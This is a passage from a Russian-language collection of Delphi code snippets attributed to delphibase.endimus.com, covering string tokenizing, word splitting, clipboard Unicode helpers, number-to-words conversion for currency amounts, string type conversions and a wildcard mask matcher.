Source := TstringList.Create;
Dest := TstringList.Create;
Source.LoadFromFile('c:\MyText.txt');
for i := 0 to Source.Count - 1 do
begin
StringToWords(Source[i], 2, Dest);
Application.ProcessMessages;
end;
Dest.SaveToFile('c:\MyWords.txt');
ShowMessage('Найдено ' + IntToStr(Dest.Count) + ' слов');
end;
Разбивка строки на подстроки с использованием заданного разделителя.
Автор: Stoma WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбивка строки на подстроки с использованием заданного разделителя
Параметры: Str: WideString - Строка для разбивки
Delimiter: String - Разделитель подстрок с строке Str
Результат: TStringList: Список найденных подстрок
Зависимости: System, Sysutils, Classes
Автор: Stoma, stoma@bitex.bg
Copyright: Собственная разработка
Дата: 4 августа 2003 г.
***************************************************** }
function Tokenize(Str: WideString; Delimiter: string): TStringList;
var
tmpStrList: TStringList;
tmpString, tmpVal: WideString;
DelimPos: LongInt;
begin
tmpStrList := TStringList.Create;
TmpString := Str;
DelimPos := 1;
while DelimPos > 0 do
begin
DelimPos := LastDelimiter(Delimiter, TmpString);
tmpVal := Copy(TmpString, DelimPos + 1, Length(TmpString));
if tmpVal <> '' then
tmpStrList.Add(UpperCase(tmpVal));
Delete(TmpString, DelimPos, Length(TmpString));
end;
Tokenize := tmpStrList;
end;
Пример использования:
function TForm1.GetDirNames(FullPath: string): TStringList; begin GetDirNames := Tokenize(FullPath, '\'); end;
Заполнение списка словами из строки с возможностью указания множества разделителей.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Заполнение списка (TargetList) словами из строки (Text),
с возможностью укзания множества разделителей
Функция заполняет список TargetList, словами (наборами символов)
из строки Text. Имеется возможность получения позиции каждого
слова в строке (ReturnWordPlaces = True); добавления в TargetList
не только слов, но и разделителей (ReturnWordDeviders = True);
указания более чем одного разделителя (все в строке WordDeviders).
Ограничением является невозможность указания разделителя,
длинной более чем 1 символ.
Result = TargetList.Count; {количество строк в TargetList}
Зависимости: sysutils, classes, system
Автор: VID, vidsnap@mail.ru, ICQ: 132234868, Махачкала
Copyright: VID
Дата: 02 мая 2002 г.
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * }
function GetWordListFromText(Text, WordDeviders: string; TargetList: TStrings;
ReturnWordPlace, ReturnWordDeviders: Boolean): Integer;
var
X, TextLength, WP: Integer;
W: string;
begin
Result := 0;
TextLength := Length(Text);
if TextLength = 0 then
Exit;
if Length(WordDeviders) = 0 then
Exit;
if TargetList = nil then
Exit;
TargetList.BeginUpdate();
TargetList.Clear;
WordDeviders := AnsiUpperCase(WordDeviders);
W := '';
X := 0;
WP := 1;
repeat
X := X + 1;
if (POS(AnsiUpperCase(Text[x]), WordDeviders) = 0) and (X <= TextLength)
then
W := W + Text[x]
else
begin
if W <> '' then
begin
case ReturnWordPlace of
True: TargetList.Add(W + '=' + Inttostr(WP));
False: TargetList.Add(W);
end;
end;
W := '';
WP := X + 1;
if ReturnWordDeviders = true then
begin
case ReturnWordPlace of
True: TargetList.Add(Text[x] + '=' + Inttostr(x));
False: TargetList.Add(TEXT[x]);
end;
end;
end;
until (X > TextLength);
TargetList.EndUpdate;
Result := TargetList.Count;
end;
Деление строки не несколько строк, указанной длины.
Автор: Сергей WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Делит строку аStг на три строки St1,St2,St3 длиной Long1,Long2,Long3
Делит строку аStг на три строки St1,St2,St3 длиной Long1,Long2,Long3
соответственно или меньше в зависимости от длины исходной строки.
Зависимости: ???
Автор: Сергей, nfkazak@inbox.ru, Краснодар
Copyright: VIP BANK
Дата: 11 сентября 2002 г.
***************************************************** }
procedure DivPart(aStr: string; var St1, St2, St3: string; Long1, Long2, Long3:
byte);
var
i, pos, Long: byte;
begin
St1 := '';
St2 := '';
St3 := '';
aStr := Trim(aStr);
Long := Length(aStr);
if Long <= Long1 then
begin
St1 := aStr;
Exit
end;
Pos := Long1;
for i := 1 to Long1 + 1 do
if aStr[i] = ' ' then
Pos := i;
St1 := TrimRight(Copy(aStr, 1, Pos));
Delete(aStr, 1, Pos);
aStr := TrimLeft(aStr);
Long := Length(aStr);
if Long <= Long2 then
begin
St2 := aStr;
Exit
end;
Pos := Long2;
for i := 1 to Long2 + 1 do
if aStr[i] = ' ' then
Pos := i;
St2 := TrimRight(Copy(aStr, 1, Pos));
St3 := Trim(Copy(aStr, Pos + 1, Long3))
end;
Сумма прописью - Способ 14.
Автор: Алексей WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование целого числа 0-999999999 в строку (прописью)
Я думаю, всё итак понятно, что не понятно пишите письма
Зависимости: SysUtils
Автор: Алексей, ARojkov@okil.ru, СПб
Copyright: b0b
Дата: 12 марта 2004 г.
***************************************************** }
unit UIntToStroka;
interface
uses SysUtils;
const
N1: array[0..9] of string = ('ноль',
'один',
'два',
'три',
'четыре',
'пять',
'шесть',
'семь',
'восемь',
'девять');
const
N1000: array[1..9] of string = ('одна',
'две',
'три',
'четыре',
'пять',
'шесть',
'семь',
'восемь',
'девять');
const
N11: array[0..9] of string = ('десять',
'одиннадцать',
'двенадцать',
'тринадцать',
'четырнадцать',
'пятнадцать',
'шестнадцать',
'семнадцать',
'восемнадцать',
'девятнадцать');
const
N2: array[1..9] of string = ('десять',
'двадцать',
'тридцать',
'сорок',
'пятьдесят',
'шестьдесят',
'семьдесят',
'восемьдесят',
'девяносто'
);
const
N3: array[1..9] of string = ('сто',
'двести',
'триста',
'четыреста',
'пятьсот',
'шестьсот',
'семьсот',
'восемьсот',
'девятьсот'
);
const
NThousand: array[1..3] of string = ('тысяча ',
'тысячи ',
'тысяч ');
const
NMillion: array[1..3] of string = ('миллион ',
'миллиона ',
'миллионов ');
function IntToStroka(n: Integer): AnsiString;
implementation
function IntToStroka(n: Integer): AnsiString;
var
i, j, dec, j0: Integer;
s: string;
degt, degm: boolean;
buf: string;
begin
degt := false;
degm := false;
s := IntToStr(n);
Result := '';
for i := length(s) downto 1 do
begin
dec := (length(s) - i + 1); // получим разряд
j := StrToInt(s[i]); // получим цифру
if j = 0 then
j0 := 0;
if (not (j in [1..9])) and (dec <> 1) then
Continue;
if Dec in [1, 4, 7, 10] then
try
if StrToInt(s[i - 1]) = 1 then
begin
j0 := j;
Continue;
end; // подготовка к 10..19 тысяч/миллионов
except
end;
if Dec in [2, 5, 8, 11] then
if j = 1 then
begin
case dec of
2: Result := N11[j0] + ' '; // если 10..19 тысяч/миллионов
5:
begin
Result := N11[j0] + ' ' + NThousand[3] + Result;
degt := true;
end;
8:
begin
Result := N11[j0] + ' ' + NMillion[3] + Result;
degm := true;
end;
end;
Continue;
end;
if DEC in [4..6] then
begin
if (j <> 0) and (not degt) then
begin
if dec = 4 then
case j of
1: buf := NThousand[1];
2..4: buf := NThousand[2];
// прибавим слово тысяча если ещё не добавляли
5..9: buf := NThousand[3];
end
else
buf := NThousand[3];
degt := true;
end;
end;
if DEC in [7..9] then
begin
if (j <> 0) and (not degm) then
begin
if dec = 7 then
case j of
1: buf := NMillion[1];
2..4: buf := NMillion[2];
// прибавим слово миллион если ещё не добавляли
5..9: buf := NMillion[3];
end
else
buf := NMillion[3];
degm := true;
end;
end;
Result := buf + Result;
while dec > 3 do
dec := dec - 3;
case Dec of
1: if j <> 0 then
if degt and (not degm) then
Result := N1000[j] + ' ' + Result
else
Result := N1[j] + ' ' + Result; // 3 три
2: Result := N2[j] + ' ' + Result; // 23 двадцать три
3: Result := N3[j] + ' ' + Result; // 123 сто двадцать три
end;
Buf := '';
j0 := j;
end;
end;
end.
Сумма прописью - Способ 15.
Автор: Евгений Меньшенин WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сумма прописью
Данный набор функций позволяет из суммы в числовом виде получить
её представление прописью. Реализована возможность работы с рублями и долларами.
Возможно добавление какой угодно валюты.
Зависимости: SysUtils
Автор: fnatali, fnatali@yandex.ru, Березники
Copyright: Евгений Меньшенин <johnmen@mail.ru>
Дата: 27 апреля 2002 г.
***************************************************** }
unit SpellingD;
interface
uses SysUtils;
function SpellPic(StDbl: double; StSet: integer): string;
implementation
const
Money: array[0..1] of string[25] =
('ь я рубл ей коп. ',
'р ра долларов цент.');
{А Б В Г Д Е Ж З И Й К Л М Н О
П Р С Т У Ф Х Ц Ч Ш Щ Ъ Ы Ь
Э Ю Я а б в г д }
Sym: string[180] =
'одна две один два три четыре пят ь шест сем восемдевятдесят'
+ 'на дцатьсорокдевяно сто сти ста ьсот тысяча и миллион '
+ 'ов ард ноль ь я рубл ей коп. ';
Code: string[156] =
'БААВААГААДААЕААЖЗАИЙАКЙАЛЙАМЙАНЙАОЙАГПРВПРЕПРЖПРИПРКПРЛПРМПРНПРДРАЕРА'
+
'СААИЙОКЙОЛЙОМЙОТУФФААВХАЕЦАЖЗЦИЧАКЧАЛЧАМЧАНЧАваАвбАвгАШЩАШЪАШААЫЬАЫЬЩ'
+ 'ЫЬЭЫЮАЫЮЩЫЮЭЯААдАА';
{1 2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 30
40 50 60 70 80 90 1 2 3 4 5 6 7 8 9 РУБ -Я-ЕЙТЫС -И -ЧМ-Н-А
-ВМ-Д -А -ВО коп}
{0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
46 47 48 49 50 51 }
function SpellPic(StDbl: double; StSet: integer): string;
{format of StNum: string[15]= 000000000000.00}
const
StMask = '000000000000.00';
var
StNum: string; {StDbl -> StNum}
PlaceNo: integer; {текущая позиция в StNum}
TripletNo: integer; {позиция имени обрабатываемого разряда (им.п.ед.ч.)}
StWord: string; {результат}
procedure WordAdd(CodeNo: integer);
var
SymNo: integer; {текущая позиция в массиве Sym}
i, j: integer;
begin
;
Inc(CodeNo, CodeNo shl 1); {* 3}
for i := 1 to 3 do
begin
;
Inc(CodeNo);
SymNo := ord(Code[CodeNo]) - ord('Б');
if SymNo < 0 then
break;
Inc(SymNo, SymNo shl 2); {* 5}
for j := 1 to 5 do
begin
;
Inc(SymNo);
if Sym[SymNo] = ' ' then
break;
StWord := StWord + Sym[SymNo];
end;
end;
StWord := StWord + ' ';
end;
procedure Triplet;
var
D3: integer; {сотни текущего разряда}
D2: integer; {десятки текущего разряда}
D1: integer; {единицы текущего разряда}
TripletPos: integer; {смещение имени разряда для разных падежей}
begin
;
Inc(PlaceNo);
D3 := ord(StNum[PlaceNo]) - ord('0');
Inc(PlaceNo);
D2 := ord(StNum[PlaceNo]) - ord('0');
Inc(PlaceNo);
D1 := ord(StNum[PlaceNo]) - ord('0');
Dec(TripletNo, 3);
TripletPos := 2; {рублей (род.п.мн.ч.)}
if D3 > 0 then
WordAdd(D3 + 28);
{сотни}
if D2 = 1 then
WordAdd(D1 + 11)
{10-19}
else
begin
;
if D2 > 1 then
WordAdd(D2 + 19);
{десятки}
if D1 > 0 then
begin
;
{единицы}
if (TripletNo = 41) and (D1 < 3) then
WordAdd(D1 - 1) {одна или две тысячи}
else
WordAdd(D1 + 1);
if D1 < 5 then
TripletPos := 1; {рубля (род.п.ед.ч.)}
if D1 = 1 then
TripletPos := 0; {рубль (им.п.ед.ч.)}
end;
end;
if (TripletNo = 38) and (Length(StWord) = 0) then
WordAdd(50); {ноль целых}
if (TripletNo = 38) or (D1 + D2 + D3 > 0) then {имя разряда}
WordAdd(TripletNo + TripletPos);
end;
var
i: integer;
begin
;
Move(Money[StSet, 1], Sym[156], 25);
StNum := FormatFloat(StMask, StDbl);
PlaceNo := 0;
TripletNo := 50;
{47+3}
StWord := ''; {будущий результат}
for i := 1 to 4 do
Triplet; {4 разряда: миллиарды, миллионы, тысячи,единицы}
StWord := StWord + StNum[14] + StNum[15] + ' ';
WordAdd(51);
{Upcase первая буква}
SpellPic := AnsiUpperCase(StWord[1]) + Copy(StWord, 2, Length(StWord) - 2);
end;
end.
Пример использования:
var sumpr: string; begin // первый параметр - сумма, которую необходимо перевести в пропись, // второй параметр - валюта (0-рубли, 1- доллары). sumpr := spellpic(100, 0); ...
Расщепление строки с разделителями на массив строк.
Автор: ALL.exe WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Расщепление строки с разделителями на массив строк
Зависимости: System
Автор: ALL.exe, Alexe@054.pfr.ru, ICQ:161857370, Kostroma
Copyright: ALL.exe
Дата: 13 марта 2003 г.
***************************************************** }
type
TSepArr = array of string; // массив "записей"
TSepRec = record
Rec: TSepArr; // сами "записи"
Max: integer; // количество полученных "записей"
end;
function GetSeparatorRec(const sRows: string;
cSeparator: char = ','): TSepRec;
var
cCol: array of integer;
i, j: integer;
bSTRING: boolean;
begin
Result.Max := -1;
j := 1;
bSTRING := False;
SetLength(cCol, j);
cCol[0] := 0;
for i := 1 to Length(sRows) do
begin
if sRows[i] = '"' then
bSTRING := not bSTRING;
if (sRows[i] = cSeparator) and (not bSTRING) then
begin
j := j + 1;
SetLength(cCol, j);
cCol[j - 1] := i;
end;
end;
j := j + 1;
SetLength(cCol, j);
cCol[j - 1] := Length(sRows) + 1;
Result.Max := High(cCol);
if Result.Max > 0 then
begin
SetLength(Result.Rec, Result.Max + 1);
Result.Rec[0] := IntToStr(Result.Max);
for i := 1 to Result.Max do
Result.Rec[i] := Copy(sRows, cCol[i - 1] + 1, cCol[i] - cCol[i - 1] - 1);
end;
end;
Пример использования:
var
R: TSepRec;
begin
R := GetSeparatorRec('123.45-ABCDEF-"A-B-C"-"0"-', '-');
// результат:
R.Max = 5;
R.Rec = ('5', '123.45', 'ABCDEF', '"A;B;C"', '"0"', '');
Поместить или получить строку из буфера обмена (заплатка к стандартным).
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поместить/получить строку из буфера обмена (Заплатка к стандартным)
Под Win2k попытка вставить русскую строку в Clipboard ClipBoard.AsText:='Проба'
с последующей вставкой в Wоrd'е показывает кракозябрики..
Расследование показало, что виноваты мелкомягкие (как обычно :) )
С целью нивелирования различий между всеми Win-платформами были написаны эти 2 ф-ции..
Принимают на вход/возвращают строку в Unicode - WideString..
но не надо беспокоиться, Дельфи сам вставит при необходимости
конвертацию в/из AnsiString.
Если платформа поддерживает уникод (NT), то используется этот формат,
иначе вызываются стандартные процедуры/ф-ции.
Удачи!
Зависимости: ClipBrd
Автор: Shaman_Naydak, shanturov@pisem.net
Copyright: Shaman_Naydak
Дата: 26 июня 2002 г.
***************************************************** }
procedure PutStringIntoClipBoard(const Str: WideString);
var
Size: Integer;
Data: THandle;
DataPtr: Pointer;
begin
Size := Length(Str);
if Size = 0 then
exit;
if not IsClipboardFormatAvailable(CF_UNICODETEXT) then
Clipboard.AsText := Str
else
begin
Size := Size shl 1 + 2;
Data := GlobalAlloc(GMEM_MOVEABLE + GMEM_DDESHARE, Size);
try
DataPtr := GlobalLock(Data);
try
Move(Pointer(Str)^, DataPtr^, Size);
Clipboard.SetAsHandle(CF_UNICODETEXT, Data);
finally
GlobalUnlock(Data);
end;
except
GlobalFree(Data);
raise;
end;
end;
end;
function GetStringFromClipboard: WideString;
var
Data: THandle;
begin
if not IsClipboardFormatAvailable(CF_UNICODETEXT) then
Result := Clipboard.AsText
else
begin
Clipboard.Open;
Data := GetClipboardData(CF_UNICODETEXT);
try
if Data <> 0 then
Result := PWideChar(GlobalLock(Data))
else
Result := '';
finally
if Data <> 0 then
GlobalUnlock(Data);
Clipboard.Close;
end;
end;
end;
Преобразование строки в строку для SQL-сервера.
Автор: Сергей WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки в строку для SQL-сервера
Преобразование строки в строку для SQL-сервера
Зависимости: ???
Автор: Сергей, nfkazak@inbox.ru, Краснодар
Copyright: VIP BANK
Дата: 11 сентября 2002 г.
***************************************************** }
function SQL_String(Value: string): string;
var
i: integer;
Ch_1,
Ch_2: Char;
QM_1,
QM_2: Boolean;
begin
QM_1 := False;
QM_2 := False;
for i := 1 to Length(Value) do
begin
case Value[i] of
'''': QM_1 := True;
'"': QM_2 := True;
end;
end;
if QM_1 and (not QM_2) then
begin
Ch_1 := '"';
Ch_2 := '''';
end
else
begin
Ch_1 := '''';
Ch_2 := '"';
end;
if QM_1 and QM_2 then
begin
for i := 1 to Length(Value) do
if Value[i] = Ch_1 then
Value[i] := Ch_2;
end;
Result := Ch_1 + Value + Ch_1;
end;
Преобразование String в PChar.
function strtoPchar(s:string):Pchar; begin S := S+#0; result:=StrPCopy(@S[1], S) ; end; |
Или.
pch:=PChar(str); |
str:=String(pch); |
Конвертация String в PWideChar.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Конвертация String в PWideChar
Зависимости: ???
Автор: Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright: Andre .v.d. Merwe
Дата: 18 июля 2002 г.
***************************************************** }
function StringToPWide(sStr: string; var iNewSize: integer): PWideChar;
var
pw: PWideChar;
iSize: integer;
begin
iSize := Length(sStr) + 1;
iNewSize := iSize * 2;
pw := AllocMem(iNewSize);
MultiByteToWideChar(CP_ACP, 0, PChar(sStr), iSize, pw, iNewSize);
Result := pw;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
iSize: integer;
begin
ChangeWallpaper(StringToPWide('C:\1.jpg', iSize));
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Конвертация PWideChar в String
Зависимости: ???
Автор: Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright: Andre .v.d. Merwe
Дата: 18 июля 2002 г.
***************************************************** }
function PWideToString(pw: PWideChar): string;
var
p: PChar;
iLen: integer;
begin
iLen := lstrlenw(pw) + 1;
GetMem(p, iLen);
WideCharToMultiByte(CP_ACP, 0, pw, iLen, p, iLen * 2, nil, nil);
Result := p;
FreeMem(p, iLen);
end;
Преобразование строки S в набор её чисел, где каждое число представляет каждый символ строки.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование строки S в набор её чисел,
где каждое число представляет каждый символ строки
Получив строку S функция преобразует её в набор чисел, каждое из которых
обозначает код текущего символа, а перед каждым числом располагается символ "#".
Пусть, например, S = 'Hello';
Тогда Result = '#72#101#108#108#111';
Зависимости: system
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 25 апреля 2002 г.
***************************************************** }
function StrToAscii(S: string): string;
var
I, X: Integer;
RS: string;
CurChar: string;
begin
Result := '';
if Length(S) = 0 then
Exit;
X := 1;
for I := 1 to Length(S) do
begin
CurChar := '#' + Inttostr(Ord(S[I]));
Insert(CurChar, RS, X);
X := X + Length(CurChar);
end;
Result := RS;
end;
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование набора чисел, предопределённых символом "#" в строку
Функция преобразует набор чисел, предопределённых символом "#" в
соответствующую строку. Каждое число в наборе чисел должно представлять из
себя код символа по ASCII таблице.
Например, если AsciiString '#72#101#108#108#111', то Result = 'Hello';
Зависимости: sysutils, system
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 26 апреля 2002 г.
***************************************************** }
function ASCIIToStr(AsciiString: string): string;
var
I, X, L, Lastpos: Integer;
CurDIGChar, CurrAddChar, RS: string;
begin
RESULT := '';
L := Length(AsciiString);
if L = 0 then
Exit;
X := 0;
LASTPOS := 1;
repeat
I := X;
CurDIGChar := '';
repeat
I := I + 1;
if AsciiString[I] <> '#' then
CurDIGChar := CurDIGChar + AsciiString[I];
until (AsciiString[I] = '#') or (i = l);
X := I;
if CurDIGChar <> '' then
begin
try
CurrAddChar := CHR(STRTOINT(CurDIGChar));
except CurrAddChar := '';
end;
Insert(CurrAddChar, RS, lastpos);
LastPos := LastPos + Length(CurrAddChar);
end;
until (X >= L) or (I >= L);
Result := RS;
end;
Пример использования:
var
X, Z: string;
begin
Z := StrToAscii('Hello');
// Z будет содержать '#72#101#108#108#111'
X := AsciiToStr(Z);
//В результате X будет содержать слово Hello
end;
Расщепить строку в слова и обратно.
unit StrFuncs;
interface
uses SysUtils, Classes;
function StrToArrays(str, r: string; out temp: TStrings): Boolean;
function ArrayToStr(str: TStrings; r: string): string;
implementation
function StrToArrays(str, r: string; out temp: TStrings): Boolean;
var
j: Integer;
begin
if temp <> nil then
begin
temp.Clear;
while str <> '' do
begin
j := Pos(r, str);
if j = 0 then j := Length(str) + 1;
temp.Add(Copy(Str, 1, j - 1));
Delete(Str, 1, j + Length(r) - 1);
end;
Result := True;
else
Result := False;
end;
end;
function ArrayToStr(str: TStrings; r: string): string;
var
i: Integer;
begin
Result := '';
for i := 0 to Str.Count - 1 do
begin
Result := Result + Str.Strings[i] + r;
end;
end;
end.
|
Разбивка строки на отдельные слова.
Автор: Separator WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Разбивка строки на отдельные слова
function StringToWords(const DelimitedText: string; ResultList: TStrings;
Delimiters: TDelimiter = []): boolean - разбивает отдельную строку на
состовляющие ее слова и результат помещает в TStringList
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
Delimiters: TDelimiter = []): boolean - разбивает любое количество строк на
состовляющие их слова и все помещяет в один TStringList
Delimiters - список символов являющихся разделителями слов,
например такие как пробел, !, ? и т.д.
Зависимости: Classes
Автор: Separator, separator@mail.kz, Алматы
Copyright: Separator
Дата: 13 ноября 2002 г.
***************************************************** }
unit spUtils;
interface
uses Classes;
type
TDelimiter = set of #0..'я' ;
const
StandartDelimiters: TDelimiter = [' ', '!', '@', '(', ')', '-', '|', '\', ';',
':', '"', '/', '?', '.', '>', ',', '<'];
//Преобразование в набор слов
function StringToWords(const DelimitedText: string; ResultList: TStrings;
Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
implementation
function StringToWords(const DelimitedText: string; ResultList: TStrings;
Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
var
i, Len, Prev: word;
TempList: TStringList;
begin
Result := false;
if (ResultList <> nil) and (DelimitedText <> '') then
try
TempList := TStringList.Create;
if Delimiters = [] then
Delimiters := StandartDelimiters;
Len := 1;
Prev := 0;
for i := 1 to Length(DelimitedText) do
begin
if Prev <> 0 then
begin
if DelimitedText[i] in Delimiters then
begin
if Len = 0 then
Prev := i + 1
else
begin
TempList.Add(copy(DelimitedText, Prev, Len));
Len := 0;
Prev := i + 1
end
end
else
Inc(Len)
end
else if not (DelimitedText[i] in Delimiters) then
Prev := i
end;
if Len > 0 then
TempList.Add(copy(DelimitedText, Prev, Len));
if TempList.Count > 0 then
begin
if ListClear then
ResultList.Assign(TempList)
else
ResultList.AddStrings(TempList);
Result := true
end;
finally
TempList.Free
end
end;
function StringsToWords(const DelimitedStrings: TStrings; ResultList: TStrings;
Delimiters: TDelimiter = []; ListClear: boolean = true): boolean;
begin
if Delimiters = [] then
Delimiters := StandartDelimiters + [#13, #10]
else
Delimiters := Delimiters + [#13, #10];
Result := StringToWords(DelimitedStrings.Text, ResultList, Delimiters,
ListClear)
end;
end.
Пример использования:
StringToWords(Edit1.Text, Memo1.Lines); StringToWords(Edit1.Text, Memo1.Lines, [' ', '.', ',']); StringsToWords(Memo1.Lines, Memo2.Lines); StringsToWords(Memo1.Lines, Memo2.Lines, [' ', '.', ',']);
Небольшой модуль для работы со строками.
Автор: SuMaga WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Небольшой модуль для работы со строками
function CompMask(S, Mask: string):string; //выбор строки по маске
// удаление из строки count символов начиная с posit
function deleteStr(s:string;posit,count:integer):string;
//Удаление из строки s сначала first и с конца last символов
function deleteFaskaStr(s:string; first,last:integer):string;
Запись в стринлист strg всех вхождений по маске mask из строки source
procedure getStrings(var strg: TStringList; mask,source: string);
Зависимости: classes,sysutils
Автор: SuMaga, sumaga@mail.ru, ICQ:721602488, Махачкала
Copyright: Сам состряпал :)
Дата: 24 января 2003 г.
***************************************************** }
unit StrMask;
interface
uses classes, sysutils;
function CompMask(S, Mask: string): string;
function deleteStr(s: string; posit, count: integer): string;
function deleteFaskaStr(s: string; first, last: integer): string;
procedure getStrings(var strg: TStringList; mask, source: string);
implementation
type
TmaskObj = class
constructor open;
public
Maschr: tstringlist;
Masposish: TStringList;
destructor close;
end;
procedure getStrings(var strg: TStringList; mask, source: string);
var
s, s2: string;
begin
s2 := source;
s := CompMask(s2, mask);
while s <> '' do
begin
strg.Add(s);
s2 := StringReplace(s2, s, '', []);
s := CompMask(s2, mask);
if pos(s, s2) = 0 then
break;
end;
end;
function eraseMask(inpstr: TStrings): TStrings;
var
i: integer;
e: boolean;
begin
e := false;
for i := 0 to inpstr.Count - 1 do
if (i <> inpstr.Count - 1) and (i < inpstr.Count - 1) then
if ((inpstr[i] = '`') and (inpstr[i + 1] = '|')) or
((inpstr[i] = '|') and (inpstr[i + 1] = '`')) or
((inpstr[i] = '`') and (inpstr[i + 1] = '`')) then
begin
e := true;
end;
if (e = false) or (i <= inpstr.Count - 1) then
begin
Result := inpstr;
exit;
end;
for i := 0 to inpstr.Count - 1 do
if (i <> inpstr.Count - 1) and (i < inpstr.Count - 1) then
if ((inpstr[i] = '`') and (inpstr[i + 1] = '|')) or
((inpstr[i] = '`') and (inpstr[i + 1] = '`')) or
((inpstr[i] = '|') and (inpstr[i + 1] = '`')) then
begin
inpstr.Delete(i + 1);
inpstr[i] := '`';
end;
Result := eraseMask(inpstr);
end;
{
`<---- Эквивалентна----->*
|<---- Эквивалентна----->?
}
function SplitMask(mask: string; MaskList: TStringList): TStringList;
var
i, j, k: integer;
s1: string;
mch: TmaskObj;
begin
mch := TmaskObj.open;
for i := 1 to length(Mask) do
begin
if Mask[i] = '`' then
begin
mch.Maschr.Add('`');
mch.Masposish.Add(inttostr(i))
end;
if Mask[i] = '|' then
begin
mch.Maschr.Add('|');
mch.Masposish.Add(inttostr(i))
end;
end;
k := 0;
for i := 0 to mch.Maschr.Count - 1 do
begin
j := strtoint(mch.Masposish.Strings[i]) - k;
if j - 1 <> 0 then
s1 := copy(Mask, 1, j - 1)
else
s1 := '';
delete(Mask, 1, j);
k := length(s1) + 1 + k;
if (s1 <> mch.Maschr.Strings[i]) and (length(s1) <> 0) then
MaskList.Add(s1);
MaskList.Add(mch.Maschr.Strings[i]);
end;
if Mask <> '' then
MaskList.Add(Mask);
mch.close;
Result := TStringList(eraseMask(MaskList));
end;
function deleteStr(s: string; posit, count: integer): string;
begin
Delete(s, posit, count);
Result := s;
end;
function deleteFaskaStr(s: string; first, last: integer): string;
begin
result := deleteStr(s, 1, first);
result := deleteStr(Result, length(Result) - last + 1, length(Result) -
(length(Result) - last));
end;
function CompMask(S, Mask: string): string;
var
i, j, k, y: integer;
s1, s2, s3, s4, s5: string;
MaskList: TStringList;
PrPos: integer;
var
fm: boolean;
label
1, 2, 3;
begin
2:
if length(s) = 0 then
exit;
if length(Mask) = 0 then
exit;
if length(s) < length(Mask) then
exit;
//if Assigned(MaskList) then
begin
MaskList := TStringList.Create;
MaskList := SplitMask(Mask, MaskList);
end;
PrPos := 0;
s4 := s;
fm := false;
s3 := '';
i := 0;
result := '';
if MaskList.Count - 1 = 0 then
begin
if (MaskList[0] = '`') then
begin
s3 := s;
fm := true;
end;
if (MaskList[0] = '|') then
begin
s3 := s[1];
fm := true;
result := s3;
exit;
end;
if (MaskList[0] <> '`') and (MaskList[0] <> '|') then
begin
if pos(MaskList[0], s) = 0 then
exit;
s3 := copy(s, pos(MaskList[0], s), length(MaskList[0]));
fm := true;
end;
i := MaskList.Count + 1;
end;
//Начало цикла
while i <= MaskList.Count - 1 do
begin
if (MaskList[i] = '`') and (PrPos = 0) and (i + 1 <= MaskList.Count - 1)
then
begin
if pos(MaskList[i + 1], s) = 0 then
goto 2;
j := pos(MaskList[i + 1], s) + length(MaskList[i + 1]) - 1;
s3 := copy(s, 1, j);
delete(s, 1, j);
fm := true;
PrPos := j;
i := i + 1;
goto 1;
end;
if (MaskList[i] = '|') and (PrPos = 0) and (i + 1 <= MaskList.Count - 1)
then
begin
k := i;
y := 0;
if i + 1 <= MaskList.Count - 1 then
while (MaskList[k] = '|') do
begin
k := k + 1;
y := y + 1;
if k >= MaskList.Count - 1 then
break;
end;
if pos(MaskList[k], s) = 0 then
goto 2;
j := pos(MaskList[k], s);
s3 := copy(s, j - y, length(MaskList[k]) + y);
delete(s, 1, j + length(MaskList[k]) - 1);
fm := true;
PrPos := j - 1;
i := k;
goto 1;
end;
if (PrPos = 0) and (MaskList[i] <> '|') and (MaskList[i] <> '`') then
begin
if pos(MaskList[i], s) = 0 then
break;
j := pos(MaskList[i], s);
s3 := copy(s, j, length(MaskList[i]));
delete(s, 1, j + length(MaskList[i]) - 1);
fm := true;
PrPos := length(MaskList[i]);
goto 1;
end;
fm := false;
if (PrPos <> 0) and (i < MaskList.Count - 1) then
begin
if (MaskList[i] = '`') then
begin
if pos(MaskList[i + 1], s) = 0 then
goto 2;
j := pos(MaskList[i + 1], s);
s3 := s3 + copy(s, 1, j + length(MaskList[i + 1]) - 1);
fm := true;
delete(s, 1, j + length(MaskList[i + 1]) - 1);
PrPos := j + length(MaskList[i + 1]);
i := i + 1;
goto 1;
end;
